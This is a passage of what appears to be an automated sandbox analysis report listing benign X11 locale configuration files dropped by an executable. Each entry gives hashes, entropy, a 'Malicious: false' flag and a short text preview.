class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.MICROSOFT-CP1256:GR.}..END XL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\mulelao-1\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	4.566225227431191
Encrypted:	false
SSDEEP:	6:LycxL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LNAe6ldo0+62XdUmhn
MD5:	8F7F21EF8FFD8CDF59F7733A1DB38B41
SHA1:	519859A333B57CBF84D0B41D9F349BDB2979090A
SHA-256:	6CF00AFC9C42726D9C36E320CC00E9C76E690B00DFBA1A38E2F7E784B9837E80
SHA-512:	05AA64224FF491D04E704625028CB71CB5F505EC0440DBD6BDB8B7B55626D5909D04564F81FB427B425D113E97C7BE4218581826CAD036B4EE3CB5CC6EEE4562
Malicious:	false
Preview:	#.# mulelao-1 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\mulelao-1\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.17337116233848
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF0tsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMroeCXoXKfXoc9RwvIo8WJb
MD5:	63E9400A5389C743F0EFA49D1BF2327F
SHA1:	A505F0A5B346E387597B91F748F009D12875464F
SHA-256:	B64A7AA29787F97BD50B6A9494812466D7704EC1EC5C698A7F5F38996543C558
SHA-512:	C47A187E46D3304F51D4801B792B9663EA82752590393E22CC88F153E3486300C8B2DDAFF13379D66B3EAEDFDB4F8DD520A32A3D08B32EFB26890140A97F83D3
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for mulelao-1 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\mulelao-1\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	927
Entropy (8bit):	5.2951369014754
Encrypted:	false
SSDEEP:	24:etWEIg28XK6YKNvQc/2uO4YQ+fDJ7/gGGm/7FKKk:y5llvQJuOPNGL
MD5:	45D1698E47CD953A96D7FA4839314C6B
SHA1:	FA76F15EC2A6168F6DAB42E15F811F5983CAE18D
SHA-256:	0E0DD17D267C75874A9D4B09334AEFBA88C0891315C76D496FCB76717029BF4A
SHA-512:	4D1CE34FCDF3777279C0AE1FA4EFC7D1B36C508042072C8B7D7FF7F642B5A251C321B0FA243A1622F13FA2BA0D2A855782B7715416689DB4E93C37F6437A6F0D
Malicious:	false
Preview:	# XLocale Database Sample for mulelao-1..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..MULELAO-1:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset MULELAO-1:GR..font MULELAO-1:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.MULELAO-1..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name MULELAO-1.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding MULELAO-1:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding MULELAO-1:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\nokhchi-1\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\nokhchi-1\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.1980879620036555
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF+ssKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMgoeCXoXKfXoc9RwvIo8WJb
MD5:	BA6E90CDE52C3E0324AFF1BEEC106F30
SHA1:	0E1D5D64E0974712E3ED6674AC92511C464070BF
SHA-256:	B849F1C3FD5C6C98700C3E11202C5BF37C63E5956532678E45336779BAB75137
SHA-512:	FF278A0B25376B6FF7FB14922326E9B5E59735C46F7AEFD094295095F201FB5D2B4690324CE37D3F70335EBECDA39551452B22AB4A5A3AA25B89E089AC99DF4D
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for nokhchi-1 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\nokhchi-1\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	928
Entropy (8bit):	5.301435928598203
Encrypted:	false
SSDEEP:	24:etWE18XiwNvK2uO4pQ+fDJ7/NGGm/7FCk:y5sv5uOeNfe
MD5:	B9EBA4CD4E028153DEE5FD2EB3281304
SHA1:	57D8AC699B449FF4DC2D940CAA5AC8F8BACC7111
SHA-256:	45CB5F1D5FA72A83097DE9DD4DEDB48BC20E60F3E086C07101571316FE2CF8B9
SHA-512:	265CB1F7C7C12EA7E4E8DF35465DE3CC2EE511BD31D74ADFBD5E289F53A63E5C7D11475D63D04A01DCF09C5D2A2110BC14736A956B2A3F5D8BF1E318614EAB71
Malicious:	false
Preview:	# XLocale Database Sample for mulelao-1..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..NOKHCHI-1:GL ...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset NOKHCHI-1:GR..font NOKHCHI-1:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.NOKHCHI-1..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name NOKHCHI-1.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding NOKHCHI-1:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding NOKHCHI-1:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ru_RU.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.596899756886205
Encrypted:	false
SSDEEP:	3:KGf9iGv9awJH4:KGfE2jY
MD5:	2D270350313C89329062B81B2BC28475
SHA1:	433D2B191F2665B1A6A4BD0EAF7921F84C2DE195
SHA-256:	2D04ECB0181C56837F5B266D57FCE339356D80212BDE313C9A656D65CB751D59
SHA-512:	F1B060EC79A8FACFC976C47ACE4BA330E8824EBFBD6DDCA283CA2D0CDC19DBAD2901FDB47F95A8E5223AA38CAAE7BC756B8B647AC029C26B726127F3C9B2E995
Malicious:	false
Preview:	include "/usr/share/X11/locale/en_US.UTF-8/Compose".

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ru_RU.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.235759637124937
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFA6YsK6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMi6B3qeCXoXKfXoc9RwvIo8WV
MD5:	FB5F453A0E9833123AE9E6527ABDBAED
SHA1:	8FA8C4FE395863F6B1178A407219AD9C92A3AB30
SHA-256:	C7F2DDFE768B88BD83527AA17BFC359BE01CF5E77A46731EA7F1031917669ADE
SHA-512:	000398C510377F6E023D8972034E84698FF16AA0ADCEE507387C58B1593CE7B298D4B1F0FD0269118AD6005361E9B89F75344FB903AF5701C0F2B9336B1D1948
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ru_RU.UTF-8 locale.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ru_RU.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2282
Entropy (8bit):	5.281697034027375
Encrypted:	false
SSDEEP:	48:y1wUZh4byO9wWmqI2123bkVQRV6N87etuYguAD44zOu8Sj6xFLC8e:yO+OV9f87eFe
MD5:	1CD2C936DE1CEC1F4548C667574BC92B
SHA1:	C011A0C3874C26C2226C613F7E2F03F93990B63B
SHA-256:	F0AD47E139BC4F0346DBF2A9825637542E674472322FB1F31AE93897928D3BA0
SHA-512:	7470ADDD939ECD354FF7E9547EE7ADF43D9A1D900BA968550B56C75C7581DB25765743345FF1560F4C5055BEBEC10F2FBB188C6672C21767C0D94A4DBC7228F3
Malicious:	false
Preview:	#.#.XLocale Database Sample for ru_RU.UTF-8.#.Derived from en_US.UTF-8.#..#.# .XLC_FONTSET category.#.XLC_FONTSET..on_demand_loading.True..object_name..generic..# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary.ISO8859-1:GL...vertical_rotate.all..}.}.#.fs1 class (ISO8859 families).fs1.{..charset.{...name.ISO8859-1:GR..}..font.{...primary.ISO8859-1:GR..}.}.#.fs2 class (KOI8-R).fs2.{..charset.{...name.KOI8-R:GR..}..font.{...primary.KOI8-R:GR..}.}.#.fs3 class (MICROSOFT-CP1251).fs3.{..charset.{...name.MICROSOFT-CP1251:GR..}..font.{...primary.MICROSOFT-CP1251:GR..}.}.#.fs4 class (ISO8859-5).fs4.{..charset.{...name.ISO8859-5:GR..}..font.{...primary.ISO8859-5:GR..}.}.# .fs5 class (Kanji).fs5.{..charset.{...name.JISX0208.1983-0:GL..}..font.{...primary.JISX0208.1983-0:GL..}.}.#.fs6 class (Korean Character).fs6.{..charset.{...name.KSC5601.1987-0:GL..}..font.{...primary.KSC5601.1987-0:GL..}.}.#.fs7 class (Chinese Han Character).fs7.{..charset.{...name.GB2312.19

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\tatar-cyr\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\tatar-cyr\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.175047588508773
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFXMsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMttoeCXoXKfXoc9RwvIo8WJb
MD5:	B2350FB81ED02D64F22A6CC61D1F61BA
SHA1:	D5CD806D3CAE88BEF2A0B76D5396DFC8EBB12C87
SHA-256:	84C9F63886C9E1516E60C5E350C82DB46013C10648C62A51A5601F724E418368
SHA-512:	19D9CFCC10756BECA85000D8C6390333A47619154AA389CFA185EB7FFBAA4992441F2AAD49B24DF8B90A4683B285EDCE9E0D6511632AA38CBFBCE4C006A4A5E3
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for tatar-cyr locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\tatar-cyr\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	954
Entropy (8bit):	5.288242569322151
Encrypted:	false
SSDEEP:	24:eWevWE928NdCvq6guO40QQwqfDJ7/VGGm/7F7:zw59RCv6uOz1Nnm
MD5:	B0D2ABD1062BA1EB0519365E4EC58B88
SHA1:	5C7131FC32FB88B328F02650B75C8E45102159A8
SHA-256:	7E46B94A40B4DD39D15CFE7960CCEDC4FB51D0A3FF110429C393BCD0AC1C8D01
SHA-512:	A967CBB8CA2FEC220989597F48DF54BBA6C940E49510FDE9AE128D733281F760C32DD65A9F87E6EDD6BF1F2D4115FD6895388766FF4B9A1AC03B4B919E885E2D
Malicious:	false
Preview:	# XLocale Database Sample for tatar-cyr..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..TATAR-CYR:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..TATAR-CYR:GR..}..font.{...primary..TATAR-CYR:GR..}.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.TATAR-CYR..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..TATAR-CYR.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.TATAR-CYR:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.TATAR-CYR:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\th_TH.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\th_TH.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.249176092292944
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFIX3K6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMM33qeCXoXKfXoc9RwvIo8WJb
MD5:	28A7D15492C8DB6143D88E2A77B1BF5E
SHA1:	EADE596752CA8D98A0EC8635F16079E99F17B82D
SHA-256:	2C125F8E32F5A1FAFD00B88320D74C66FFEC12DD267FA2FCAC5BAEC5E14E3E3F
SHA-512:	7E8E62C55E51E1E2A137FA8751F91CF0F917D925CADC6D858B9E2B8BE74455E4F7FB060D4A7382AE6E479D958E70D7BAEE8045DB8A512D2B935B30929EFEADA0
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for th_TH.UTF-8 locale.#.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\th_TH.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	5.220575670966378
Encrypted:	false
SSDEEP:	24:dAGqKh41Jrdc/IcO3c/vGPQClw5fDJ7/3GGm/7F43/v53:lqs415dDsNlzJ3
MD5:	A18D02910DA9EB24ADE528ED5A099B1A
SHA1:	1D20DFC816A67A00788DDF321164E0FA129500BE
SHA-256:	5D34E53CF1DBC76B6FD227E106C478DF9E38AF8F6784E6208DE0F706595EBC2F
SHA-512:	4330AF40E79602CADD8C10D6D13A87875BAE792B26FFB5BE737BF85A5467D81BCB8CAB289BAF1E807829B242F4E537FB3F4884C2BBD7CF6A61CBA09374B70A76
Malicious:	false
Preview:	# XLocale Database Sample for th_TH.#.#.# Modified from origial th_TH.TACTIS..# .# .XLC_FONTSET category.# .XLC_FONTSET.#.fs0 class.fs0.{..charset.{...name.ISO10646-1..}..font.{...primary.ISO10646-1..}.}.#.We leave the legacy encodings in for the moment, because we don't.#.have that many ISO10646 fonts yet..# .fs0 class (7 bit ASCII).fs1.{..charset..ISO8859-1:GL..font ISO8859-1:GL.}.# .fs1 class (Thai) .fs2.{..charset ISO8859-11:GR..font ISO8859-11:GR.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name UTF-8.mb_cur_max..3.state_depend_encoding.False...wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env True.force_convert_to_mb True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000..ct_encoding ISO8859-11:GR.}..# .cs2 class.cs2.{..side..none..ct_encoding ISO106

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\th_TH\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\th_TH\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.180468900236898
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFUsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMDoeCXoXKfXoc9RwvIo8WJb
MD5:	F6768E8186255A62DE5DD23EFAFCD5A2
SHA1:	40BBC66486439F21FB2D0FF2CD30E7083FE0229E
SHA-256:	76A0383F411132D9709B6A0F610944CBA07C2BCB113A0181D32BFF1B38A6AEA4
SHA-512:	59C9D96813718AED88A5321358807FBEB72ECA83C463F0F5CBD2799C250AAE36409B907AE052BBAC92198B70B3DF795DBE77154493FF8147A1CA3DB0ECB0AB40
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for th_TH locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\th_TH\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	777
Entropy (8bit):	5.177083085137191
Encrypted:	false
SSDEEP:	24:dAGZH/IcF3c/vGdVQClw5fDJ7/3GGm/7FO/vk:lZNsNlA
MD5:	4825869AD669326D8D9E234BAC8C18D6
SHA1:	19A951529CA83C531BB63D2F193C00FF2CB4A685
SHA-256:	19B3818BFA2A2919A0B655B912EF59C3FFCA4E6691F4FFFBE9DF5C3759005EC6
SHA-512:	0C092544898B920C73E1303436EA4A568A6C8412EF108341E097015E9CD504E358D9A03232F88849D7CA89AEFFC0B75C15091FFFDD79966F2010AF5EAA298206
Malicious:	false
Preview:	# XLocale Database Sample for th_TH.#.#.# Modified from origial th_TH.TACTIS..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset..ISO8859-1:GL..font ISO8859-1:GL.}.# .fs1 class (Thai) .fs1.{..charset ISO8859-11:GR..font ISO8859-11:GR.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name TIS620.mb_cur_max..1.state_depend_encoding.False...wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env True.force_convert_to_mb True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding ISO8859-11:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\tscii-0\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\tscii-0\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.179171691525001
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFzebsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMkIoeCXoXKfXoc9RwvIo8WJb
MD5:	7C32B52365A1226806264026AB56D409
SHA1:	C6F47953C6134EA5E9AFF4D8E6E3321D6CEDE88B
SHA-256:	4D90D27F18AEBAE0B6F6D5ED716C6B6BFDA493AB95DC7F3F06F71270FE1FB28C
SHA-512:	89E85C64877E198CCB6A57379F6B5DEEC310FAFA5F6276CDE2F2AB30CFCAC925F5E683803DDB9733D1301EE17B3F0A415882A05DEBD298FB594DDB125D694BE8
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for tscii-0 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\tscii-0\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	913
Entropy (8bit):	5.251864415696326
Encrypted:	false
SSDEEP:	12:eRGwttckJWrRdsnUXEPoO2qXX5bbJl/12dqnKvMTwuOyfFhwpblcjdRaffDJ7/WF:etWEh28Xbv8MMuO4wQ+fDJ7/gGGm/7FK
MD5:	147DAD403F7C15D7A046D275B77C23F3
SHA1:	3F94E223B703525EBB6B906D5F1EDD86C891787A
SHA-256:	662CFDCA65800F7C880C9CC988DF261048C7C0596A59E1698AE7532BA1F834FA
SHA-512:	9033CD3D98630002541D965D2EB338B71D3AAA4A4976295FF33AB3F764AD55A13BAA9148FAC27168D78E5F874DB558EF5F7CBE653811136CB423E984D0ADE949
Malicious:	false
Preview:	# XLocale Database Sample for mulelao-1..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..TSCII-0:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset TSCII-0:GR..font TSCII-0:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.TSCII-0..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name TSCII-0.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding TSCII-0:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding TSCII-0:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\vi_VN.tcvn\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5509
Entropy (8bit):	4.979405854654547
Encrypted:	false
SSDEEP:	96:p3aeYftCu0fsuraug6Dj7E5wWh26RvT7kdLJdl6xUjFofIEjQoLBcp68m7rc3N:UeitCu03ra4DPE5rtRvHkdL0xpfIEjQ1
MD5:	E98D51B988718079C76343B0124A2E86
SHA1:	EFC7DC0642DBD0763355F6CE659DFB568E43A5B7
SHA-256:	3D5BA2554B7ACB06DE0D5A607BCC0B3B29105021BAEF012C35F5F653116E7B58
SHA-512:	0D40F140B2CC5BDBF83439C7A17675524F7A37BF50B3F73C929A4A07E61D4CBAB4FD72D645AC1B33D2D29D5ACB56E6FDE132AEB7302355A7DE3120BE6449BB94
Malicious:	false
